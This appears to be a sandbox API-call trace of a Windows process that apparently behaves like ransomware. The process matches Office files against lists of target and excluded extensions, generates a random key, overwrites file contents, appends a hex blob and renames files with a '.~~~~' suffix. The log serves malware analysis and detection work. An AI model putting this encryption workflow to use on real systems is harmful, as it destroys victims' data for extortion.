	[0144.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.990] lstrlenW (lpString=".sqb") returned 4
	[0144.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".sqb") returned 0x0
	[0145.042] lstrlenW (lpString=".ost") returned 4
	[0145.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".ost") returned 0x0
	[0145.042] lstrlenW (lpString=".txt") returned 4
	[0145.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".txt") returned 0x0
	[0145.042] lstrlenW (lpString=".mdt") returned 4
	[0145.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".mdt") returned 0x0
	[0145.042] lstrlenW (lpString=".BDB") returned 4
	[0145.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".BDB") returned 0x0
	[0145.042] lstrlenW (lpString=".eql") returned 4
	[0145.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".eql") returned 0x0
	[0145.042] lstrlenW (lpString=".DBF") returned 4
	[0145.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DBF") returned 0x0
	[0145.042] lstrlenW (lpString=".EQL") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".EQL") returned 0x0
	[0145.043] lstrlenW (lpString=".FDB") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".FDB") returned 0x0
	[0145.043] lstrlenW (lpString=".EDB") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".EDB") returned 0x0
	[0145.043] lstrlenW (lpString=".DACPAC") returned 7
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0145.043] lstrlenW (lpString=".VHD") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".VHD") returned 0x0
	[0145.043] lstrlenW (lpString=".DBV") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DBV") returned 0x0
	[0145.043] lstrlenW (lpString=".dacpac") returned 7
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0145.043] lstrlenW (lpString=".sdf") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".sdf") returned 0x0
	[0145.043] lstrlenW (lpString=".accdb") returned 6
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".accdb") returned 0x0
	[0145.043] lstrlenW (lpString=".DBX") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DBX") returned 0x0
	[0145.043] lstrlenW (lpString=".MDT") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".MDT") returned 0x0
	[0145.043] lstrlenW (lpString=".SQB") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".SQB") returned 0x0
	[0145.043] lstrlenW (lpString=".vhd") returned 4
	[0145.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".vhd") returned 0x0
	[0145.044] lstrlenW (lpString=".bac") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".bac") returned 0x0
	[0145.044] lstrlenW (lpString=".mdf") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".mdf") returned 0x0
	[0145.044] lstrlenW (lpString=".BAK") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".BAK") returned 0x0
	[0145.044] lstrlenW (lpString=".BAC") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".BAC") returned 0x0
	[0145.044] lstrlenW (lpString=".dbs") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dbs") returned 0x0
	[0145.044] lstrlenW (lpString=".vhdx") returned 5
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0145.044] lstrlenW (lpString=".NDF") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".NDF") returned 0x0
	[0145.044] lstrlenW (lpString=".dat") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dat") returned 0x0
	[0145.044] lstrlenW (lpString=".DBS") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DBS") returned 0x0
	[0145.044] lstrlenW (lpString=".CKP") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".CKP") returned 0x0
	[0145.044] lstrlenW (lpString=".edb") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".edb") returned 0x0
	[0145.044] lstrlenW (lpString=".PST") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".PST") returned 0x0
	[0145.044] lstrlenW (lpString=".dbf") returned 4
	[0145.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dbf") returned 0x0
	[0145.045] lstrlenW (lpString=".SQL") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".SQL") returned 0x0
	[0145.045] lstrlenW (lpString=".pst") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".pst") returned 0x0
	[0145.045] lstrlenW (lpString=".dbv") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dbv") returned 0x0
	[0145.045] lstrlenW (lpString=".SDF") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".SDF") returned 0x0
	[0145.045] lstrlenW (lpString=".dtxs") returned 5
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0145.045] lstrlenW (lpString=".db3") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".db3") returned 0x0
	[0145.045] lstrlenW (lpString=".OST") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".OST") returned 0x0
	[0145.045] lstrlenW (lpString=".dbx") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dbx") returned 0x0
	[0145.045] lstrlenW (lpString=".DB3") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DB3") returned 0x0
	[0145.045] lstrlenW (lpString=".DAT") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DAT") returned 0x0
	[0145.045] lstrlenW (lpString=".VHDX") returned 5
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0145.045] lstrlenW (lpString=".ndf") returned 4
	[0145.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".ndf") returned 0x0
	[0145.046] lstrlenW (lpString=".DB") returned 3
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DB") returned 0x0
	[0145.046] lstrlenW (lpString=".sql") returned 4
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".sql") returned 0x0
	[0145.046] lstrlenW (lpString=".MYD") returned 4
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".MYD") returned 0x0
	[0145.046] lstrlenW (lpString=".DBT") returned 4
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DBT") returned 0x0
	[0145.046] lstrlenW (lpString=".ACCDB") returned 6
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0145.046] lstrlenW (lpString=".fdb") returned 4
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".fdb") returned 0x0
	[0145.046] lstrlenW (lpString=".bak") returned 4
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".bak") returned 0x0
	[0145.046] lstrlenW (lpString=".myd") returned 4
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".myd") returned 0x0
	[0145.046] lstrlenW (lpString=".DTXS") returned 5
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0145.046] lstrlenW (lpString=".ckp") returned 4
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".ckp") returned 0x0
	[0145.046] lstrlenW (lpString=".dbt") returned 4
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dbt") returned 0x0
	[0145.046] lstrlenW (lpString=".db") returned 3
	[0145.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".db") returned 0x0
	[0145.046] lstrlenW (lpString=".TXT") returned 4
	[0145.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".TXT") returned 0x0
	[0145.047] lstrlenW (lpString=".MDF") returned 4
	[0145.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".MDF") returned 0x0
	[0145.047] lstrlenW (lpString=".bdb") returned 4
	[0145.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".bdb") returned 0x0
	[0145.047] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.047] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0145.048] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.048] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.049] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26503894467) returned 1
	[0145.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbfdc8bb0, dwHighDateTime=0x1d60e1e)) 
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f9b0
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f9b0 | out: hHeap=0x300000) returned 1
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0168
	[0145.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0145.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0168 | out: hHeap=0x300000) returned 1
	[0145.050] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.050] GetLastError () returned 0x0
	[0145.050] GetLastError () returned 0x0
	[0145.050] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.050] GetLastError () returned 0x0
	[0145.050] GetLastError () returned 0x0
	[0145.051] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x2a4, lpOverlapped=0x0) returned 1
	[0145.070] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffffd5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.070] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2a4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x2a4, lpOverlapped=0x0) returned 1
	[0145.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.071] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.071] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.071] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.071] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.071] CloseHandle (hObject=0x104) returned 1
	[0145.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ae80
	[0145.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.~~~~")) returned 1
	[0145.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ae80 | out: hHeap=0x300000) returned 1
	[0145.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.075] GetLastError () returned 0x0
	[0145.075] RtlWakeConditionVariable () returned 0x0
	[0145.075] GetCurrentThreadId () returned 0x9f4
	[0145.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".scr") returned 0x0
	[0145.075] lstrlenW (lpString=".cmd") returned 4
	[0145.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".cmd") returned 0x0
	[0145.075] lstrlenW (lpString=".dll") returned 4
	[0145.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dll") returned 0x0
	[0145.075] lstrlenW (lpString=".bat") returned 4
	[0145.075] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".bat") returned 0x0
	[0145.075] lstrlenW (lpString=".cpl") returned 4
	[0145.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".cpl") returned 0x0
	[0145.076] lstrlenW (lpString=".sys") returned 4
	[0145.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".sys") returned 0x0
	[0145.076] lstrlenW (lpString=".msc") returned 4
	[0145.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".msc") returned 0x0
	[0145.076] lstrlenW (lpString=".com") returned 4
	[0145.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".com") returned 0x0
	[0145.076] lstrlenW (lpString=".lnk") returned 4
	[0145.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".lnk") returned 0x0
	[0145.076] lstrlenW (lpString=".msp") returned 4
	[0145.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".msp") returned 0x0
	[0145.076] lstrlenW (lpString=".pif") returned 4
	[0145.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".pif") returned 0x0
	[0145.076] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.076] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0145.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0145.079] lstrlenW (lpString=".sqb") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".sqb") returned 0x0
	[0145.079] lstrlenW (lpString=".ost") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".ost") returned 0x0
	[0145.079] lstrlenW (lpString=".txt") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".txt") returned 0x0
	[0145.079] lstrlenW (lpString=".mdt") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".mdt") returned 0x0
	[0145.079] lstrlenW (lpString=".BDB") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".BDB") returned 0x0
	[0145.079] lstrlenW (lpString=".eql") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".eql") returned 0x0
	[0145.079] lstrlenW (lpString=".DBF") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DBF") returned 0x0
	[0145.079] lstrlenW (lpString=".EQL") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".EQL") returned 0x0
	[0145.079] lstrlenW (lpString=".FDB") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".FDB") returned 0x0
	[0145.079] lstrlenW (lpString=".EDB") returned 4
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".EDB") returned 0x0
	[0145.079] lstrlenW (lpString=".DACPAC") returned 7
	[0145.079] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0145.080] lstrlenW (lpString=".VHD") returned 4
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".VHD") returned 0x0
	[0145.080] lstrlenW (lpString=".DBV") returned 4
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DBV") returned 0x0
	[0145.080] lstrlenW (lpString=".dacpac") returned 7
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0145.080] lstrlenW (lpString=".sdf") returned 4
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".sdf") returned 0x0
	[0145.080] lstrlenW (lpString=".accdb") returned 6
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".accdb") returned 0x0
	[0145.080] lstrlenW (lpString=".DBX") returned 4
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".DBX") returned 0x0
	[0145.080] lstrlenW (lpString=".MDT") returned 4
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".MDT") returned 0x0
	[0145.080] lstrlenW (lpString=".SQB") returned 4
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".SQB") returned 0x0
	[0145.080] lstrlenW (lpString=".vhd") returned 4
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".vhd") returned 0x0
	[0145.080] lstrlenW (lpString=".bac") returned 4
	[0145.080] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC", lpSrch=".bac") returned 0x0
	[0145.081] lstrlenW (lpString=".mdf") returned 4
